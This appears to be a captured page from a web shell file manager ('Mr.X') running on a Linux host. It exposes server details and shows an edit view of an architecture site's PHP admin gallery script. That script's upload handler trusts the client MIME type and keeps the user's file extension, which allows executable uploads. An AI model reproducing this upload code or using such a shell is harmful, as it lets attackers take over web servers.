🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:gallery.php
<?php /** * ARCHI-TECH Admin Gallery CRUD Manager */ require_once __DIR__ . '/../includes/db.php'; require_once __DIR__ . '/../includes/functions.php'; check_admin_auth(); $success_msg = ''; $error_msg = ''; // Success notice alerts if (isset($_GET['success'])) { if ($_GET['success'] === 'added') $success_msg = "New image successfully loaded to gallery."; if ($_GET['success'] === 'deleted') $success_msg = "Image successfully deleted."; } // Delete image from gallery if (isset($_GET['delete'])) { $delete_id = intval($_GET['delete']); try { $stmt_path = $pdo->prepare("SELECT image_path FROM gallery WHERE id = :id"); $stmt_path->execute(['id' => $delete_id]); $img = $stmt_path->fetch(); if ($img) { if (file_exists(__DIR__ . '/../' . $img['image_path'])) { @unlink(__DIR__ . '/../' . $img['image_path']); } $stmt = $pdo->prepare("DELETE FROM gallery WHERE id = :id"); $stmt->execute(['id' => $delete_id]); } header("Location: " . BASE_URL . "admin/gallery.php?success=deleted"); exit(); } catch (PDOException $e) { $error_msg = "Failed to delete image: " . $e->getMessage(); } } // Upload new gallery image if (isset($_POST['submit_gallery'])) { $title = trim($_POST['title']); $category = trim($_POST['category']); if (empty($title) || empty($category) || !isset($_FILES['image']) || $_FILES['image']['error'] !== UPLOAD_ERR_OK) { $error_msg = "All fields and a valid image file are required."; } else { $allowed = ['image/jpeg', 'image/png', 'image/webp', 'image/jpg']; if (!in_array($_FILES['image']['type'], $allowed)) { $error_msg = "Only JPG, PNG and WebP files are allowed."; } else { try { $ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION); $filename = 'gal_' . bin2hex(random_bytes(8)) . '.' . $ext; $destination = PROJECT_UPLOAD_DIR . $filename; if (move_uploaded_file($_FILES['image']['tmp_name'], $destination)) { $db_path = 'uploads/projects/' . $filename; $stmt = $pdo->prepare("INSERT INTO gallery (title, category, image_path) VALUES (:title, :category, :image_path)"); $stmt->execute([ 'title' => $title, 'category' => $category, 'image_path' => $db_path ]); header("Location: " . BASE_URL . "admin/gallery.php?success=added"); exit(); } else { $error_msg = "Failed to save file to uploads folder."; } } catch (PDOException $e) { $error_msg = "Database error: " . $e->getMessage(); } } } } // Fetch all gallery items $items = []; try { $stmt = $pdo->query("SELECT * FROM gallery ORDER BY id DESC"); $items = $stmt->fetchAll(); } catch (PDOException $e) { // offline } require_once __DIR__ . '/header.php'; require_once __DIR__ . '/navbar.php'; ?> <div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pt-3 pb-2 mb-4 border-bottom border-secondary"> <h1 class="h2 text-white text-uppercase" style="letter-spacing: -0.01em; font-family: 'Syne', sans-serif;">Photo Gallery Manager</h1> </div> <!-- Notice Alerts --> <?php if (!empty($success_msg)): ?> <div class="alert alert-success border-0 bg-success text-white mb-4"> <i class="bi bi-check-circle-fill me-2"></i><?= sanitize_input($success_msg) ?> </div> <?php endif; ?> <?php if (!empty($error_msg)): ?> <div class="alert alert-danger border-0 bg-danger text-white mb-4"> <i class="bi bi-exclamation-triangle-fill me-2"></i><?= sanitize_input($error_msg) ?> </div> <?php endif; ?> <div class="row g-4"> <!-- Left Column: Add Image Form --> <div class="col-lg-4"> <div class="glass-card"> <h3 class="h5 text-white text-uppercase mb-4" style="letter-spacing: 0.05em;"><i class="bi bi-cloud-upload text-accent-color me-2"></i>Upload Photo</h3> <form action="<?= BASE_URL ?>admin/gallery.php" method="POST" enctype="multipart/form-data"> <div class="mb-3"> <label for="title" class="form-label text-uppercase small text-muted fw-bold">Photo Title</label> <input type="text" class="form-control form-dark-control" id="title" name="title" required placeholder="eg: Waterfront Villa Facade"> </div> <div class="mb-3"> <label for="category" class="form-label text-uppercase small text-muted fw-bold">Category</label> <select class="form-select form-dark-control" id="category" name="category" required> <option value="">-- Select Category --</option> <option value="Architecture">Architecture</option> <option value="Landscape">Landscape</option> <option value="Interior">Interior</option> <option value="CAD">CAD & Drafting</option> </select> </div> <div class="mb-4"> <label for="image" class="form-label text-uppercase small text-muted fw-bold">Select File</label> <input type="file" class="form-control form-dark-control" id="image" name="image" required> </div> <button type="submit" name="submit_gallery" class="btn-gold-filled w-100 py-3 text-uppercase fw-bold" style="font-size: 0.85rem; letter-spacing: 0.05em;">Upload to Gallery</button> </form> </div> </div> <!-- Right Column: Listing Table --> <div class="col-lg-8"> <div class="glass-card p-4"> <h3 class="h5 text-white text-uppercase mb-4" style="letter-spacing: 0.05em;"><i class="bi bi-images text-accent-color me-2"></i>Gallery Index</h3> <div class="table-responsive"> <table class="table table-dark table-striped table-hover align-middle border-secondary table-dark-custom"> <thead> <tr> <th scope="col" style="width: 15%; text-align: center;">Image</th> <th scope="col" style="width: 40%;">Title</th> <th scope="col" style="width: 25%;">Category</th> <th scope="col" style="width: 20%; text-align: center;">Action</th> </tr> </thead> <tbody> <?php if (!empty($items)): ?> <?php foreach ($items as $row): ?> <tr> <td align="center"> <img src="<?= BASE_URL . sanitize_input($row['image_path']) ?>" class="rounded border border-secondary" style="width: 60px; height: 45px; object-fit: cover;" alt="Gallery preview"> </td> <td><strong><?= sanitize_input($row['title']) ?></strong></td> <td><span class="badge" style="background-color: var(--light-accent-color); color: var(--accent-color);"><?= sanitize_input($row['category']) ?></span></td> <td align="center"> <a href="<?= BASE_URL ?>admin/gallery.php?delete=<?= $row['id'] ?>" class="btn btn-outline-danger btn-sm" onclick="return confirm('Delete this image from gallery?')" title="Delete Photo"><i class="bi bi-trash"></i></a> </td> </tr> <?php endforeach; ?> <?php else: ?> <tr> <td colspan="4" class="text-center text-muted py-4">No gallery items loaded yet.</td> </tr> <?php endif; ?> </tbody> </table> </div> </div> </div> </div> <?php require_once __DIR__ . '/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder